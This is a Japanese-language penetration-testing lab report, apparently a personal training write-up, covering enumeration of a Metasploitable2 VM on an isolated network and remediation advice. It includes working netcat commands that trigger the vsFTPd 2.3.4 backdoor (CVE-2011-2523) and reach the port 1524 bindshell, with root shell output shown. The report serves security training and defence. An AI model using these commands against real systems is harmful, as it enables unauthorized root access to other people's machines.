
隔離ネットワークでのペネトレーションテストラボ:nmap/niktoによる列挙とMetasploitable2の手動エクスプロイト(vsFTPdバックドア CVE-2011-2523、bindshell)、完全な技術レポート付き。
著者: Daniel Stefan de Jesus dos Reis
日付: 2026年9月
環境: 隔離された仮想ネットワーク pentestlab 上の個人用KVMラボ
このテストは、自身が所有する意図的に脆弱な仮想マシンに対してのみ実施された。これはRapid7がオフェンシブセキュリティトレーニングのために特別に配布したものであり、インターネットへの出口のない隔離された仮想ネットワーク内で行われた。第三者のシステムには一切アクセスしていない。本プロジェクトは純粋に教育目的であり、侵入テストスキルの開発を目的としている。
pentestlab (ブリッジ virbr-lab)、サブネット 192.168.100.0/24、<forward> は未設定 — つまり、真に隔離されたネットワークである。VM同士およびホストとは通信できるが、ラボ外へのルートは存在しない。ネットワークのXMLは evidencias/pentestlab_network.xml にある。virbr-lab を使用し、nmap、nikto、gobuster、hydra、sqlmap、netcat を使用。metasploitable2 (Metasploitable2、Ubuntu 8.04を改変したもの)、IP 192.168.100.90/24、隔離ネットワーク自体のDHCP経由で割り当て。[ Host / Atacante ]
|
virbr-lab (rede isolada, sem saída para internet)
|
[ metasploitable2 ]
基本的な流れとして、偵察 → 列挙 → エクスプロイト → 文書化 を実施した:
nmap -sV -sC -p-)nikto)nc で実行し、各脆弱性の仕組みを理解することを目的とした。「エクスプロイトを実行する」だけではない。コマンド: nmap -sV -sC -p- -T4 192.168.100.90
完全な出力: evidencias/nmap_full_scan.txt
検出された主要なサービスの概要:
2011年6月30日から2011年7月3日の間に、ダウンロード用に公開されていたvsFTPd 2.3.4のソースコードが攻撃者によって改ざんされた。侵害されたバージョンにはバックドアが含まれている。FTPログインのユーザー名フィールドで :) で終わる文字列を受け取ると、サーバーは認証なしでTCPポート6200にrootシェルを開く。
実行したステップ (完全なログは evidencias/vsftpd_backdoor_exploit.txt):
# 1. Disparar a backdoor enviando USER terminado em ":)"
( printf 'USER test:)\r\n'; sleep 1; printf 'PASS test\r\n'; sleep 2 ) | nc -w 5 192.168.100.90 21
# 2. Conectar na porta 6200, aberta pela backdoor
( printf 'whoami\n'; printf 'id\n'; printf 'uname -a\n'; sleep 2 ) | nc -w 5 192.168.100.90 6200
結果:
uid=0(root) gid=0(root)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
認証なしで完全なrootアクセスを取得。
nmapはこのサービスを既に Metasploitable root shell として識別している — イメージに意図的に残されたバックドアである (トレーニング用イメージによくある、以前のエクスプロイトの名残)。エクスプロイトは不要で、接続するだけでよい。
( printf 'whoami\n'; printf 'id\n'; sleep 2 ) | nc -w 4 192.168.100.90 1524
結果: uid=0(root) gid=0(root) groups=0(root) — 即座にroot。
完全なログは evidencias/bindshell_1524.txt にある。
ポート6667/6697で動作しているUnrealIRCdのバージョンは、歴史的にバックドア付きで配布されたビルドに該当する (AB; コマンドに続くシェルコマンド)。nc 経由で手動でバックドアを起動しようと試みたが、サーバーは入力をシェルコマンドとして実行せず、無効なIRCコマンド (451 :You have not registered) として処理した — この特定のイメージにトロイの木馬化されたバイナリが含まれていないか、ペイロードに今回優先しなかった微調整が必要かのいずれかである。これは成功しなかった試みとして記録し、確認された脆弱性としては扱わない。
接続してくる任意のクライアントから、認証なしで任意のコマンドを受け付ける分散コンパイルサービス。バージョンにより特定したが、今回のラウンドではエクスプロイト未実施。
歴史的にデシリアライゼーションを介したリモートコード実行に対して脆弱。バージョンにより特定したが、今回のラウンドではエクスプロイト未実施。
コマンド: nikto -h 192.168.100.90 -p 80
完全な出力: evidencias/nikto_scan.txt
主な検出事項:
TRACE が有効 (XSTの可能性)/phpinfo.php が公開されている (PHP設定が露呈)/phpMyAdmin/ がIP制限なしでアクセス可能/doc/、/test/、/icons/ でディレクトリリスティングが有効httponly フラグなしで作成されているpentestlab ネットワークに追加する| ポート | サービス | バージョン | 備考 |
|---|
| 21/tcp | FTP | vsftpd 2.3.4 | 匿名ログイン許可 + 既知のバックドア |
| 22/tcp | SSH | OpenSSH 4.7p1 | 古い |
| 23/tcp | Telnet | Linux telnetd | 平文プロトコル |
| 25/tcp | SMTP | Postfix | — |
| 80/tcp | HTTP | Apache 2.2.8 + PHP 5.2.4 | phpMyAdmin と phpinfo.php が露出 |
| 139/445/tcp | SMB | Samba 3.0.20-Debian | メッセージ署名が無効 |
| 1099/tcp | Java RMI | GNU Classpath grmiregistry | 歴史的にRCEに対して脆弱 |
| 1524/tcp | bindshell | — | rootシェルが既に開いており、認証不要 |
| 3306/tcp | MySQL | 5.0.51a-3ubuntu5 | — |
| 3632/tcp | distccd | v1 | 歴史的にRCEに対して脆弱 (CVE-2004-2687) |
| 5432/tcp | PostgreSQL | 8.3.0–8.3.7 | — |
| 5900/tcp | VNC | プロトコル 3.3 | — |
| 6667/6697/tcp | IRC | UnrealIRCd 3.2.8.1 | 既知のバックドアに関連するバージョン |
| 8180/tcp | HTTP | Apache Tomcat 5.5 | — |
| 検出事項 | 推奨事項 |
|---|
| vsFTPd 2.3.4 のバックドア | 非公式/未検証のソースのバイナリを決して使用しない。インストール前にパッケージのハッシュ/署名を検証する |
| ポート1524のBindshell | 開いているポートを定期的に監査する (定期的な内部 nmap)。文書化されていないシェルはすべてインシデントである |
| 認証なしで露出したdistccd | ファイアウォール経由で信頼できるホストに制限するか、分散ビルドで積極的に使用していない場合は無効化する |
| phpMyAdmin/phpinfo.php の露出 | IP/VPNによるアクセス制限を行い、管理ツールを公開しない |
| Apache/PHP が古い | パッチ管理プロセスを継続的に維持する |
| ディレクトリリスティングが有効 | Apacheで Options Indexes を無効化する |
| メッセージ署名が無効なSMB | server signing = mandatory を有効化する |